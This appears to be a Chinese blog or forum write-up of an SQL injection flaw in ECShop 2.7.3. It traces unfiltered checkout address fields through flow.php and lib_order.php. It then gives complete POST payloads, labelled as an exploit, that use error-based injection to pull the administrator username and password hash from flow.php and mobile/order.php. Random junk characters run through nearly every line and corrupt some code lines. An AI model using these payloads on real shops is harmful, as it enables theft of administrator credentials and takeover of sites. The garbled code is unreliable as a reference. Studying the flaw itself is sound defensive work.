前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。: x! R2 A8 Z1 G/ W# O
" k3 N5 k9 u' b4 i" I8 ] 漏洞关键文件:
: ^0 J2 V& p: p3 s0 m
( p1 Q( }7 f9 E0 Y& I8 Q0 f /includes/lib_order.php" j# |3 u# B% ~4 j! C
4 F" J% n% F& _5 H
关键函数:
: M* F) c- s/ o- q6 }3 X1 S; v/ T8 r2 }9 G; I9 _1 q# I
) o; Y; X# p# x+ c: D( f" B2 `$ e6 p& S# Q& C+ J
01 function available_shipping_list($region_id_list)
# G6 H4 `# A, {* O) p) w* g+ ]2 `) J# t$ }+ ^( [: T
02 { 8 T) U: S/ E \9 m
, U0 G4 }0 \2 s03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 0 o; l: c, b A1 o! U" ~4 h) U( j
5 z: w9 s' Y* l* R; ?
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( D) R6 F$ f' u( w# z/ ~# R! Y9 ^1 |+ J p# Z1 i6 B- F+ `
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
3 _3 b, r( f+ C o. Y( N0 i1 Z' C; N5 N. ~& x
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ f, U& l( ?. n; I; M9 U
0 ^2 a$ L% V) _
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
e& S2 S2 }& T4 e9 M. o& C+ W! \) Z9 i& |' ]+ f% D M- M* f' n1 l
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
6 A) m# S. d" n; Z" U0 d. k# l" ]7 [4 |# f+ S: n# `
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
|1 ~; N1 H% ^) n! z' b' L7 _2 I) o- K6 v, B
10
' f* y. ]) M4 R. ]7 M8 j" u- [6 @: u& e5 m( C
11 return $GLOBALS['db']->getAll($sql);
. K/ U2 A- Q; p; F1 y# j) R( ]9 D L% i. {3 k
12 } 5 N& P8 |* F$ T5 S& \, i5 C* b
7 Z& B' Q1 ]8 d5 U
显然对传入的参数没有任何过滤就带入了查询语句。+ ^! F: w" Y4 Z# l7 c0 h `
- O% Z+ {2 O* P下面我们追踪这个函数在flow.php中:2 ]! W2 I) j2 T' A5 Y
第531行:
2 o( W1 f2 |8 V! m
$ K, d" T8 [4 e- F7 D1 $shipping_list = available_shipping_list($region);
7 C F4 @- y0 `* g! C) D7 V# J& u4 I- D' |8 T) O
2 v- W6 ~2 R* z" a9 [
: h# J/ {! l q5 e
: e) C; y* Q- j+ ` K$ W9 _
1 Y" o+ k$ B/ B0 }; i3 f* Q再对传入变量进行追踪:
- Z, Q' g# @& O( X$ \4 j" b7 A1 T# v1 u6 E; u" ~( r% B' L
第530行:
9 a. q: W" C' v8 [6 k3 ]; \' L2 b3 u' X0 }: f1 F2 `+ L; ~
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
7 G# G+ J, [& c8 x: q$ u& r0 s; A K6 B: e, v! z) v% c3 p
4 \6 s1 e% n8 V! j; Z9 S
/ R3 s" o0 K- G7 {' h3 F
G- \" H* B; Z4 Z% F3 J( j' r4 W/ d
$ ?, D" \: m0 J4 b2 }2 c' Q# K第473行: 1 } t8 X" H% M5 _0 j) l* G0 K
* t) w5 { p) U. S- @9 B5 @# G
1 $consignee = get_consignee($_SESSION['user_id']);
4 A, h$ j0 d( w- b& s; X% k5 ]
, z! l7 ], T. S$ Q到了一个关键函数:
0 ~# G4 m& q9 [! J. `
/ G9 G9 t# z3 k/includes/lib_order.php
: c* d" e2 T$ h& Q7 T
1 S3 b- {0 T5 D( `. g
% M4 u3 N5 K( I9 S- F% y
5 ^: S" P8 V4 ^+ g
7 m2 j: T0 ^- z7 k: j0 I
. \+ n2 J" s D* R" t8 D S01 function get_consignee($user_id) ) X! h. E; u$ ^. v1 }5 m' n
9 C- U, Z% s) `2 l
02 { : l! S$ S/ w8 \% Q5 x: x
5 g9 j" A9 ?' V: c/ H1 R& N03 if (isset($_SESSION['flow_consignee']))
: x6 }+ v; G: |
# ]: N' e d5 b7 Y6 E" J+ H04 {
+ _/ Y( r0 E I
8 ^. X; G2 D3 x, z+ B05 /* 如果存在session,则直接返回session中的收货人信息 */ 9 r. c6 |% T e8 i8 g; q
' I/ }; q: A7 |6 f8 |+ @/ P
06
# F* _. n: F! m1 R
! |$ e! w/ {! R: Q+ d07 return $_SESSION['flow_consignee'];
4 e3 r( _6 Z; y" ~3 ]: W/ t7 [: p/ C- G7 L0 W3 ]3 Q) b
08 } ' |' ?2 p: i: s5 {4 ]
- o9 E @! \5 T+ e! o; b7 c* r0 T2 n09 else 3 p3 [6 g' Y0 a V5 F
W0 r$ D3 R# v8 a, t) c
10 { 8 I; i- c$ S$ u& o; q- g
8 _% I) i2 c- }# y* \11 /* 如果不存在,则取得用户的默认收货人信息 */
, p. r; n0 e5 d0 G" V/ }6 B. V2 M- u* b- L# W% K# l
12 $arr = array();
9 m5 M+ P* A0 [
' z7 D1 \! R# h1 u13
4 j/ X: U4 F# g p" G4 [7 |) e D% o+ Q8 F; U
14 if ($user_id > 0)
- m/ j1 O$ I" c8 ^! `" s$ ]/ m
0 E/ |' E6 c. \/ ~15 { $ D3 X! e4 W! v
}9 g( l2 {8 i& d16 /* 取默认地址 */
+ e" h! j; y/ Z! g6 ?5 ~4 F
. [8 l( P: W. |0 a; P17 $sql = "SELECT ua.*". $ j! s9 @* ]7 R! b
$ r' B& w6 u9 F, b g4 T
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. . J6 \+ ~3 E0 N$ P1 \/ Q
) h9 Q9 n( b$ S& L* a' G' B$ Q5 l1 d$ h19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 5 u/ k# U* N: A! p( r+ A. C
R l9 a! X5 \% J3 z$ D( a' s20 - z; Z$ |/ J+ R" _2 F8 p
* S# L/ ^0 p1 f" X
21 $arr = $GLOBALS['db']->getRow($sql);
, Z8 Z& L- _4 |& Y
8 I1 O$ A& d9 T6 c" k8 V' U. ?9 z" z22 } , Z6 H1 {" `& n. \0 l
' O' m! I4 O% h, G m
23
- X" v5 ^) X) k7 M
5 L, F) S x8 g; g% B24 return $arr; 8 j1 c$ R/ w( k0 ~: v
+ n; n1 K* u3 B
25 }
4 g8 F" @, B- h$ F( o- ]; O: q$ {. c0 l
26 }
0 P, v8 v9 [7 w& H7 l
# c* M; S P7 i* A0 q/ y# i显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
9 D& V" u: g2 o+ Z( ~/ E: L, Z5 p/ S
# g, `( ]' T3 R
5 O2 @4 M9 ~( Y" i f
) i3 }; F0 S4 m5 O% L关键点:
- U5 J' ?7 Z% G3 a" m n7 _) z* u: I8 g+ t9 ? L0 R1 j& |
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 z9 V8 R; w- B/ ~# l8 [( A/ e. i; }& H$ n- M0 i
这里对传入参数反转义存入$_SESSION中。
; k+ d+ R; K+ k, E" L
, m( D$ s' A7 E" _" x6 a" ]- } ; y0 c' ^7 z2 y4 X/ M$ E' [8 [: Y
& d+ T0 r/ Z6 G( J% S2 Z
然后看下:
/ S- m+ M8 ~1 z' C/ z8 r* l# `6 A; T# O% J+ f4 A" C
" Y2 X% E* l/ d5 m+ e _7 [; h8 r' }: w o8 ~ U, V
+ n6 ?5 B9 s% H- z, v- p/ W- `
5 i5 p$ j- A8 I* I8 H% x01 $consignee = array( 8 p e( |5 q. @( R( p
+ k. B/ E |" r# e4 j02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), + W( S/ r( p9 i& H/ ]
0 E2 P, x7 K1 q" m0 o# t03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
9 s x& D1 j3 s, }* f: _& |3 \+ N8 ^6 [5 z3 m$ v* a
04 'country' => empty($_POST['country']) ? '' _POST['country'],
- \4 N' }8 s3 @8 b: v' i* q8 j, O9 w( q$ V/ Q X+ B8 K8 P$ I( p' A
05 'province' => empty($_POST['province']) ? '' _POST['province'],
- @4 S3 P: b9 m" z$ Y) [" i! @- Y; S. Q& n: H3 p- f) B
06 'city' => empty($_POST['city']) ? '' _POST['city'],
3 B1 `( K- F: p- u. \
4 v9 M$ D! l- R) v7 Y2 O& s07 'district' => empty($_POST['district']) ? '' _POST['district'],
. s% t) Z* ~) m0 c2 m6 Y9 c
; N6 V/ A2 P @" m0 i P08 'email' => empty($_POST['email']) ? '' _POST['email'],
( v1 w4 N* t2 p
7 Z' M5 r r+ r. c d( W/ B& B3 j09 'address' => empty($_POST['address']) ? '' _POST['address'], 3 _ t4 E/ `1 x
2 W% d: Y9 m! B( q# ^- N3 ^10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 0 {% }( W- D$ U7 L4 g; L
6 T( ^- L! l3 S& W$ t11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 0 b$ r( u% v8 V5 K# [& N
5 O- B* R) T4 T7 b$ u12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), + A& [$ c5 o$ c6 h2 @
/ ~! ], f) I8 y/ U& w% Z# b6 g! r13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 Y% H( @3 w6 Z4 C
$ g8 ^% A6 @* {9 e9 b" }
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
2 J) V! q* u7 k! ~) p5 r! J! E8 ]/ ~! l
15 );
, k. I% g; K9 n1 C" `
; T+ Q9 \1 s8 y* w; _$ Y; V; K好了注入就这样出现了。) ^, T% D& u: y
# A, A7 s* {% Y9 ^8 A9 ?. X3 [4 W; f
==================6 r8 ]( t7 I6 h9 q5 h: w w- V
$ ~9 h# \ }1 v7 t) \! ^
注入测试:/ M; ?" i; }4 F8 G0 b
4 q+ C& N6 ?7 P. r
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, @+ ^7 |( o. s* Y! @! ~) s* E# S, V& ?% E) e* X
测试程序:ECShop_V2.7.3_UTF8_release1106 x3 t% G( I) Q8 i
$ W; r* N* Q8 `( B8 J. M
# L6 A* z( F! Q) R( v! H- l% }2 O1 k$ V
1.首先需要点击一个商品加入购物车2 G* P. I+ i3 \8 z* w# j9 ~! A
: d% j' M8 E \ w$ z( e' b
2.注册一个会员帐号
* v8 X) [2 Z( g! O" H. a' p) F, z' D( V" A
3.post提交数据& I8 s! e, A* R$ t2 X M
9 o5 ^1 }+ \- I6 k + K/ I- v0 X1 _" A: A
/ n: T1 I8 z& P+ p# D- J
1 http://127.0.0.1/ecshop/flow.php
" Y6 U* |- o) m) H0 s
" M+ r/ B+ |( @. |8 z2
5 V# W: v! N; ~ [' x1 \& M+ m& ^/ X$ ~( u
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 0 E7 i7 H( e2 F
举一反三,我们根据这个漏洞我们可以继续深入挖掘:; J, v- L. T5 d. r, F/ j
. W8 ~/ p5 |/ y
我们搜寻关键函数function available_shipping_list()
; N$ Q- g$ z: w! b9 V+ a! z3 O: k
% Z' c3 F$ \& f) Q在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同9 T5 o/ T+ f+ N, j" {& h
~% v) Q6 V* r1 O- V7 y利用exp:
u* M: u8 f4 r3 t4 K! O, f/ O; A) i$ _3 I9 v, C
1.点击一个商品,点击购买商标7 O! _8 C8 `& U7 I, Q) ]
_" _$ d# m9 c/ Y) }$ u
2.登录会员帐号1 D; j+ Y1 L5 C0 ]4 N& G& c
. X5 R, k0 O- o* @1 w6 u( _3.post提交:$ \5 U8 b0 O5 Q1 O% {+ U
6 ^2 t: _# L& T, s0 i
http://127.0.0.1/ecshop/mobile/order.php" L( I% T4 s& A5 H& }6 d1 {: {
/ a* z, w1 p+ a- G* z9 N2 j7 `/ C w
6 b4 [( x# _: c0 T" \) Y% d6 Z, A3 P# u
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=# S, p4 `6 n1 X. ]$ k o1 j/ S6 C" ?
% V. q3 D9 L2 f( d |